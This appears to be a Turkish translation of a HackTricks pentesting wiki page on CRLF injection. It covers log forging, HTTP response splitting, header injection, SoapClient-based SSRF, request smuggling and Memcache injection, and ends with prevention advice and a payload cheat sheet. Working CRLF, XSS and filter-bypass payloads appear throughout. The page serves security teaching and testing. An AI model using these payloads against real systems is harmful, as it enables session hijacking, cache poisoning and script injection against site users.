# CRLF (%0D%0A) Enjeksiyonu
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Ödül avcılığı ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **ödül avcılığı platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000**'a kadar ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %} ### CRLF Taşıma Dönüşü (CR) ve Satır Beslemesi (LF), toplu olarak CRLF olarak bilinen özel karakter dizileridir ve HTTP protokolünde bir satırın sonunu veya yeni bir satırın başlangıcını belirtmek için kullanılır. Web sunucuları ve tarayıcılar, HTTP başlıklarını ve yanıtın gövdesini ayırt etmek için CRLF'yi kullanır. Bu karakterler, Apache ve Microsoft IIS gibi çeşitli web sunucusu türleri arasında HTTP/1.1 iletişiminde evrensel olarak kullanılır. ### CRLF Enjeksiyonu Zafiyeti CRLF enjeksiyonu, CR ve LF karakterlerinin kullanıcı tarafından sağlanan girişe eklenmesini içerir. Bu eylem, sunucuyu, uygulamayı veya kullanıcıyı, enjekte edilen diziyi bir yanıtın sonu ve diğerinin başlangıcı olarak yorumlamaya yanıltır. Bu karakterler zararlı değildir ancak yanlış kullanımları HTTP yanıtı bölünmesine ve diğer kötü amaçlı faaliyetlere yol açabilir. ### Örnek: Bir Günlük Dosyasında CRLF Enjeksiyonu [Örnek buradan](https://www.invicti.com/blog/web-security/crlf-http-header/) Yönetici panelindeki bir günlük dosyasını düşünün ve formatın `IP - Zaman - Ziyaret Edilen Yol` olduğunu varsayalım. Tipik bir giriş şöyle görünebilir: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` Bir saldırgan, bu günlüğü manipüle etmek için bir CRLF enjeksiyonundan yararlanabilir. HTTP isteğine CRLF karakterleri enjekte ederek, saldırgan çıktı akışını değiştirebilir ve günlük girişlerini uydurabilir. Örneğin, enjekte edilen bir dizi günlük girişini şu şekilde dönüştürebilir: ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` İşte, `%0d` ve `%0a` CR ve LF'nin URL kodlanmış formlarını temsil eder. Saldırı sonrası, günlük yanıltıcı bir şekilde görüntülenir: ``` IP - Time - Visited Path 123.123.123.123 - 08:15 - /index.php?page=home& 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` Saldırgan, kötü niyetli faaliyetlerini, sunucu ortamında genellikle güvenilen bir varlık olan localhost'un eylemlerini gerçekleştirmiş gibi göstererek gizler. Sunucu, sorgunun `%0d%0a` ile başlayan kısmını tek bir parametre olarak yorumlar, `restrictedaction` parametresi ise ayrı bir giriş olarak ayrıştırılır. Manipüle edilen sorgu, meşru bir yönetici komutunu taklit eder şekilde etkili bir şekilde oluşturulur: `/index.php?page=home&restrictedaction=edit` ### HTTP Yanıt Bölünmesi #### Açıklama HTTP Yanıt Bölünmesi, bir saldırganın HTTP yanıtlarının yapısını istismar ettiğinde ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlık ve gövdeyi belirli bir karakter dizisi olan Taşıma Dönüşü (CR) ve Satır Beslemesi (LF) tarafından ayrıştırır ve genel olarak CRLF olarak adlandırılır. Bir saldırgan bir CRLF dizisini bir yanıt başlığına yerleştirmeyi başarırsa, ardışık yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür manipülasyonlar ciddi güvenlik sorunlarına, özellikle de Cross-site Scripting (XSS) sorunlarına yol açabilir. #### HTTP Yanıt Bölünmesi Aracılığıyla XSS 1. Uygulama, `X-Custom-Header: UserInput` gibi özel bir başlık ayarlar. 2. Uygulama, `UserInput` için değeri bir sorgu parametresinden alır, diyelim ki "user\_input". Doğru giriş doğrulama ve kodlama olmayan senaryolarda, bir saldırgan CRLF dizisini ve kötü amaçlı içeriği içeren bir yük oluşturabilir. 3. Bir saldırgan, özel olarak oluşturulmuş 'user\_input' içeren bir URL oluşturur: `?user_input=Value%0d%0a%0d%0a` * Bu URL'de `%0d%0a%0d%0a`, CRLFCRLF'nin URL kodlanmış biçimidir. Sunucuyu CRLF dizisi eklemeye kandırarak, sunucunun ardışık kısmı yanıt gövdesi olarak işlemesini sağlar. 4. Sunucu, saldırganın girdisini yanıt başlığında yansıtır, bu da kötü amaçlı betiğin tarayıcı tarafından yanıt gövdesinin bir parçası olarak yorumlanmasına neden olur. #### Yönlendirmeye Neden Olan HTTP Yanıt Bölünmesi Örneği [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) Tarayıcıya: ``` /%0d%0aLocation:%20http://myweb.com ``` Ve sunucu şu başlıkla yanıt verir: ``` Location: http://myweb.com ``` **Diğer örnek: (şuradan** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** ``` http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` #### URL Yolu İçinde Sunucudan gelen yanıtı kontrol etmek için **URL yolunun içine** yük paylaşımı gönderebilirsiniz (örnek [buradan](https://hackerone.com/reports/192667)): ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` Daha fazla örnek için şuraya bakın: {% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} ### HTTP Başlık Enjeksiyonu HTTP Başlık Enjeksiyonu, genellikle CRLF (Taşıma Dönüşü ve Satır Beslemesi) enjeksiyonu aracılığıyla istismar edilir ve saldırganlara HTTP başlıkları eklemelerine olanak tanır. Bu, XSS (Çapraz Site Komut Dosyası) filtreleri veya SOP (Aynı Köken Politikası) gibi güvenlik mekanizmalarını zayıflatabilir ve CSRF belirteçleri gibi hassas verilere yetkisiz erişime veya çerez yerleştirme yoluyla kullanıcı oturumlarının manipülasyonuna yol açabilir. #### HTTP Başlık Enjeksiyonu Aracılığıyla CORS'un Sömürülmesi Bir saldırgan, CORS'u (Çapraz Köken Kaynak Paylaşımı) etkinleştirmek için HTTP başlıklarını enjekte edebilir ve SOP tarafından uygulanan kısıtlamaları atlayabilir. Bu ihlal, kötü amaçlı kökenlerden gelen betiklerin farklı bir kökenden kaynaklarla etkileşime girmesine olanak tanır ve korunan verilere erişebilir. #### SSRF ve CRLF Aracılığıyla HTTP İsteği Enjeksiyonu CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bu, PHP'nin `SoapClient` sınıfındaki zafiyetin belirgin bir örneğidir, özellikle `user_agent` parametresi içinde. Bu parametreyi manipüle ederek, bir saldırgan ek başlıklar ve gövde içeriği ekleyebilir veya tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda, bu sömürünün bir PHP örneği bulunmaktadır: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; $crlf = array( 'POST /proxy HTTP/1.1', 'Host: local.host.htb', 'Cookie: PHPSESSID=[PHPSESSID]', 'Content-Type: application/x-www-form-urlencoded', 'Content-Length: '.(string)strlen($post_string), "\r\n", $post_string ); $client = new SoapClient(null, array( 'uri'=>$target, 'location'=>$target, 'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf) ) ); # Put a netcat listener on port 9090 $client->__soapCall("test", []); ``` ### İstek Smuggling için Başlık Enjeksiyonu Bu teknik ve potansiyel sorunlar hakkında daha fazla bilgi için [**orijinal kaynağa bakın**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). Başlangıç isteğine cevap verdikten sonra **arka uç bağlantısının açık kalmasını sağlamak** için gerekli başlıkları enjekte edebilirsiniz: ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` **Sömürü:** 1. **Kötü Amaçlı Önek Enjeksiyonu**: Bu yöntem, bir sonraki kullanıcının isteğini veya bir web önbelleğini zehirlemeyi içerirken kötü amaçlı bir önek belirtme işlemidir. Buna bir örnek: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` 2. **Tepki Kuyruğu Zehirleme için Önek Oluşturma**: Bu yaklaşım, tamamlanmış ikinci bir isteği oluşturan bir önek oluşturmayı içerirken son ekstra verilerle birleştirildiğinde. Bu, tepki kuyruğu zehirlemesini tetikleyebilir. Bir örnek: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` ### Memcache Enjeksiyonu Memcache, açık metin protokolü kullanan bir **anahtar-değer deposudur**. Daha fazla bilgi için: {% content-ref url="../network-services-pentesting/11211-memcache/" %} [11211-memcache](../network-services-pentesting/11211-memcache/) {% endcontent-ref %} **Tam bilgi için** [**orijinal yazıya**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **bakın** Bir platform, **bir HTTP isteğinden veri alıp bunu temizlemeden** bir **memcache** sunucusuna **istekler** yapmak için kullandığında, bir saldırgan bu davranışı **yeni memcache komutları enjekte etmek** için kötüye kullanabilir. Örneğin, orijinal keşfedilen zayıflıkta, önbellek anahtarları, bir kullanıcının bağlanması gereken IP ve bağlantı noktasını döndürmek için kullanıldı ve saldırganlar, **önbelleği zehirlemek** için **memcache komutları enjekte edebildiler** ve kurbanın ayrıntılarını (kullanıcı adları ve şifreler dahil) saldırgan sunucularına göndermelerini sağladılar:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
Dahası, araştırmacılar ayrıca memcache yanıtlarını desenkronize edebileceklerini ve saldırganın bilmediği kullanıcıların IP ve bağlantı noktalarını saldırganlara gönderebileceklerini keşfettiler:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
### Web Uygulamalarında CRLF / HTTP Başlık Enjeksiyonlarını Nasıl Önlenir Web uygulamalarında CRLF (Taşıma Dönüşü ve Satır Beslemesi) veya HTTP Başlık Enjeksiyonlarının risklerini azaltmak için aşağıdaki stratejiler önerilir: 1. **Yanıt Başlıklarında Doğrudan Kullanıcı Girişinden Kaçının:** En güvenli yaklaşım, kullanıcı tarafından sağlanan girişi doğrudan yanıt başlıklarına dahil etmekten kaçınmaktır. 2. **Özel Karakterleri Kodlayın:** Doğrudan kullanıcı girişinden kaçınmak mümkün değilse, CR (Taşıma Dönüşü) ve LF (Satır Beslemesi) gibi özel karakterleri kodlamak için ayrılmış bir işlev kullanmaya dikkat edin. Bu uygulama, CRLF enjeksiyonu olasılığını önler. 3. **Programlama Dili Güncellemesi:** Web uygulamalarında kullanılan programlama dilini düzenli olarak en son sürüme güncelleyin. HTTP başlıklarını ayarlamakla görevli işlevler içinde CR ve LF karakterlerinin enjeksiyonunu varsayılan olarak engelleyen bir sürümü tercih edin. ### HİLE KODU [Buradan hile kodu](https://twitter.com/NinadMishra5/status/1650080604174667777) ``` 1. HTTP Response Splitting • /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie) 2. CRLF chained with Open Redirect • //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 • /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2 • /google.com/%2F..%0D%0AHeader-Test:test2 • /%0d%0aLocation:%20http://example.com 3. CRLF Injection to XSS • /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23 • /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E 4. Filter Bypass • %E5%98%8A = %0A = \u560a • %E5%98%8D = %0D = \u560d • %E5%98%BE = %3E = \u563e (>) • %E5%98%BC = %3C = \u563c (<) • Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test ``` ## Otomatik Araçlar * [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) * [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz) ## Kaba Kuvvet Tespiti Listesi * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt) ## Referanslar * [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/) * [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/) * [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) * [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000**'a kadar ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.